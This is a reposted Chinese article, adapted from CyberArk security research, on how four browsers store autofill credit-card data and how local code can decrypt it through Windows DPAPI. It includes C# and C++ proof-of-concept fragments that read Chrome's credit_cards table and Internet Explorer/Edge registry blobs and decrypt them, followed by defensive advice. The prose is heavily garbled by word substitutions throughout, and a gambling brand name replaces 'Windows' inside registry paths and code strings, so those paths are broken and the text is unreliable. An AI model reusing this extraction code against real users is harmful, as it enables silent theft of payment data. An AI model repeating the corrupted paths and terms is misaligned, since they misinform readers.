|
|
|
|
挪动端

看我怎样从阅读器中获取信誉卡暗码

在现在信誉卡期间,信誉卡盗刷案例屡见不鲜,作案方法也是八门五花。如两头人(MITM),歹意软件和rootkit打击。一旦打击者取得数据拜访权限,他们会将盗取到的信誉卡信息转移到他们的效劳器,然后将其用于匿名领取或出售以赚牟利润。

作者:Avi Gimpel泉源:www.cyberark.com|2018-04-13 11:14

有奖调研 | 1TB硬盘等你拿 AI+区块链的开展趋向及使用调研


 

一.写在后面的话

在现在信誉卡期间,信誉卡盗刷案例屡见不鲜,作案方法也是八门五花。如两头人(MITM),歹意软件和rootkit打击。一旦打击者取得数据拜访权限,他们会将盗取到的信誉卡信息转移到他们的效劳器,然后将其用于匿名领取或出售以赚牟利润。

近来我们研讨了几款最受欢送的四种阅读器—Internet Explorer(IE),Microsoft Edge,Google Chrome和Mozilla Firefox是怎样存储信誉卡数据以及其他的平安危害。

二.记着暗码

现在很多阅读器为了方便用户运用提供了记着暗码等功用。但同时也表露了一些平安题目。就以“记着暗码”功用为例。起首我们理解下它的任务原理:阅读器存储HTML表双数据,并在恳求信息时主动填写表单。如许可以防止用户重新输出信息,节流填写表单的工夫。在研讨中我们发明IE,Edge,Chrome和Firefox都存在记着暗码的功用。不幸的是,他们存储敏感信息的方法都存在平安隐患。

在图1中,您可以看到记着暗码功用的一个示例。

图1

三.怎样贮存主动填写的数据

主动填写数据基于操纵零碎(OS)的差别存储在差别地位。我们看看罕见的几种阅读器是怎样贮存数据的。

IE和Edge将数据存储至以下注册表项

  1. HKEY_CURRENT_USER Software Microsoft Internet Explorer IntelliForms FormData 
  2. HKEY_CURRENT_USER Software Classes LocalSettings Software Microsoft 通博8888 CurrentVersion 
  3. AppContainer Storage microsoft.microsoftedge_8wekyb3d8bbwe MicrosoftEdge IntelliForms FormData 
  4. HKEY_CURRENT_USER Software Microsoft Internet Explorer IntelliForms Storage1 
  5. HKEY_CURRENT_USER Software Microsoft Internet Explorer IntelliForms Storage2 

Chrome将数据存储在SQLite数据库文件中

  1. %LocalAppData% Google Chrome User Data Default Web Data 

Firefox将数据存储在SQLite数据库文件中

  1. %AppData% Mozilla Firefox Profiles {uniqString}。默许 formhistory.sqlite 

需求留意的是IE,Edge,Chrome和Firefox都应用通博8888 DPAPI(数据维护接口)来加密主动填写数据,并在下次运用之前将其解密。

四.DPAPI

DPAPI(数据维护接口)是一对换用函数,为用户和零碎历程提供操纵零碎级另外数据维护效劳。但是我们晓得数据维护是操纵零碎的一局部,以是每个使用顺序都可以维护数据,而不需求任何特定的加密代码,也便是说不需求DPAPI停止的函数挪用。

那么题目来了:阅读器运用DPAPI函数,同时加密所需的数据,并且不需求用户干涉。任何剧本或代码都可以在不需求特别答应或提拔权限的状况下就可以挪用解密DPAPI函数来解密数据,比方信誉卡信息。

五.加密数据提取

为了从IE,Edge,Chrome和Firefox中提取信誉卡数据,我们需求理解两件事变:

1.SQLite数据库构造

2.怎样运用DPAPI解密信誉卡信息

SQLite是现在很受欢送的嵌入式数据库软件。它普遍摆设数据库引擎,也用于阅读器,操纵零碎,嵌入式零碎(比方,挪动德律风)和别的软件。

DPAPI CryptUnprotectData函数

图2

紧张参数:

pDataIn [输出]

指向保管加密数据的DATA_BLOB构造的指针。

ppszDataDescr [输入,可选]

指向加密数据字符串可读的指针。

pOptionalEntropy [输出,可选]

指向数据加密时运用的暗码或其他附加熵的DATA_BLOB构造的指针 。

pPromptStruct [输出,可选]

指向CRYPTPROTECT_PROMPTSTRUCT构造的指针,该构造提供有关表现提示的地位和工夫以及这些提示的内容应该是什么内容的信息。该参数可以设置为NULL。

pDataOut [输入]

指向接纳解密数据的DATA_BLOB构造的指针。

六.Chrome案例研讨

1.Chrome SQLite存储文件

图3经过运用“DB Browser for SQLite”东西表现Chrome的主动填写数据(在Web数据SQLite文件下)。

请留意,Chrome会将信誉卡细致信息保管在一个名为“credit_cards”的独自表格中

图3

正如你所看到的,一切的细节都是明文的,除了card_number字段,它为一个加密的BlobData字段。

在图4中,您可以看到其他保管的表格,此中的数据也未加密。

图4

2.Chrome DPAPI挪用

Chrome阅读器容许用户经过设置来检查存储的信誉卡信息,你在地点栏输出chrome:// settings / AutoFill就可以瞥见了。

图5

正如你看到的,我们有一张编号“4916 4182 7187 7549”的信誉卡。当要求检查信誉卡信息时,或许阅读器实验主动填写表单字段时,会挪用用于解密数据的DPAPI功用。

在图6中,您可以看到Chrome API对DPAPI函数-CryptUnProtectData()的挪用。参数pDataOut-> pbdata指向前往的解密数据(拜见函数声明和pDataOut参数)。

*您可以在pDataOut-> pbdata的地点空间中看到卡号“4916 4182 7187 7549” 。

图6

图6- API监督器,Chrome阅读器挪用DPAPI CryptUnprotectData()函数

不足为奇,IE和Edge阅读器在主动填写用户表单字段时运用相反的进程。

独一的区别是IE和Edge将他们的主动填写数据作为加密的BlobData存储在注册表中。

至于Firefox,您也可以运用“DB Browser for SQLite”东西检查未加密的数据。

七.深化探究代码

在理解这些状况之后,我们可以从以下两点来编写我们POC:

1.将处置SQLite数据库(实用于Chrome和Firefox)和DPAPI的软件包导入到我们的项目中。

2.运用DPAPI函数来解密阅读器的主动填写的BlobData。

Chrome代码(C#)

第1行 – 界说Chrome主动填写数据库文件的途径(应该封闭Chrome才干拜访该文件)。

第2行 – 界说存储信誉卡细致信息的表的称号。

  1. string SQLiteFilePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)+ "GoogleChromeUser DataDefaultWeb Data"
  2. string tableName = "credit_cards"
  3. . . . 

第1-5行界说到db的衔接,以及盘问所需的表(credit_cards)。

第7-8即将所需数据前往到DB DataTable工具(此工具表现一个内存数据表)。

  1. string ConnectionString = "data source=" + SQLiteFilePath + ";New=True;UseUTF16Encoding=True"
  2. string sql = string.Format("SELECT * FROM {0} ", tableName); 
  3. SQLiteConnection connect = new SQLiteConnection(ConnectionString) 
  4. SQLiteCommand command = new SQLiteCommand(sql, connect); 
  5. SQLiteDataAdapter adapter = new SQLiteDataAdapter(command); 
  6. DataTable DB = new DataTable(); 
  7. adapter.Fill(DB); 
  8. ................ 

第1行从DB工具中提取加密的BlobData字段(信誉卡号)。

第2行发送加密的BlobData停止解密。

  1. byte[] byteArray = (byte[])DB.Rows[i][4]; 
  2. byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description); 
  3. . . . 

IE & Edge code (C++)- –

第1行界说了一个DATA_BLOB工具,该工具将保管加密数据(主动填写注册表值)。

第2行界说了一个DATA_BLOB工具,该工具将保管解密的数据(主动填写注册表值)。

第4-8行界说了注册码。(这些注册表键都保管着reg值,它们保管着主动填写Blob数据)。

  1. DATA_BLOB DataIn; 
  2. DATA_BLOB DataVerify; 
  3. std::vector<LPCWSTR> RegKeys; 
  4. RegKeys.push_back(L"SoftwareMicrosoftInternet ExplorerIntelliFormsFormData"); 
  5. RegKeys.push_back(L"SoftwareClassesLocal SettingsSoftwareMicrosoft通博8888CurrentVersionAppContainerStoragemicrosoft.microsoftedge_8wekyb3d8bbweMicrosoftEdgeIntelliFormsFormData"); 
  6. RegKeys.push_back(L"SoftwareMicrosoftInternet ExplorerIntelliFormsStorage1"); 
  7. RegKeys.push_back(L"SoftwareMicrosoftInternet ExplorerIntelliFormsStorage2"); 
  8. . . . 

剩下要做的便是运转每个注册表项,并为每个注册表项提取其注册表值(主动填写BlobData)。

  1. for (int i = 0; i < 4; i++) 
  2. RegOpenKeyEx(HKEY_CURRENT_USER, RegKeys[i], 0, KEY_QUERY_VALUE, &hKey) 
  3. for (int j = 0; j < keyValues.size(); j++) 
  4. RegQueryValueEx(hKey, keyValues[j].c_str(), 0, 0, (LPBYTE)dwReturn, &dwBufSize); 
  5. . . . 

为了将数据发送到解密函数(decryptContentDPAPI是CryptUnProtectData()函数的包装函数),我们需求将前往的主动填写BlobData(经过RegQueryValueEx挪用获取)转换为DATA_BLOB工具。解密后的数据将被前往到DataVerify工具中。

  1. DataIn.cbData = dwBufSize; 
  2. DataIn.pbData = dwReturn; 
  3. decryptContentDPAPI(&DataIn,&DataVerify); 
  4. . . . 

八.写在最初的话

综上所述,题目的本源在于运用了DPAPI,正由于如许歹意软件和木马就可以在不需求用户干涉的状况下主动解密数据。提取到用户数据,比方信誉卡和暗码数据。

一些发起:

第一,禁用阅读器的主动填写选项。

第二,只管即便不要在阅读器中填写关于信誉卡的数据,更不要在不平安的网络情况停止买卖。

参考文献

  • https://msdn.microsoft.com/en-us/library/ms995355.aspx
  • https://www.sqlite.org/
  • https://www.kraftkennedy.com/roaming-internet-explorer-chrome-user-saved-passwords-ue-v/
  • https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx
  • https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx

【编辑引荐】

  1. 截杀 Edge!Chrome 阅读器 Win10 版操纵丝般顺滑
  2. Google 公布 TensorFlow.js,将呆板学习带上阅读器
  3. 3 月环球阅读器份额统计:Chrome 毫无牵挂称霸第一
  4. Chrome阅读器迎10年革新:触摸优化、UI调解
  5. 号称比Chrome快400%,Avast推出全新平安阅读器
【责任编辑:武晓燕 TEL:(010)68476606】

点赞 0
分享:
各人都在看
猜你喜好

读 书 +更多

了如指掌——Web软件显性设计之路

本书论述了为什么以及怎样设计出复杂易用的基于Web的软件,让用户单凭知识即可无效地运用它。次要内容包罗:显性设计的观点、怎样了解用户...

订阅51CTO邮刊

点击这里检查样刊

订阅51CTO邮刊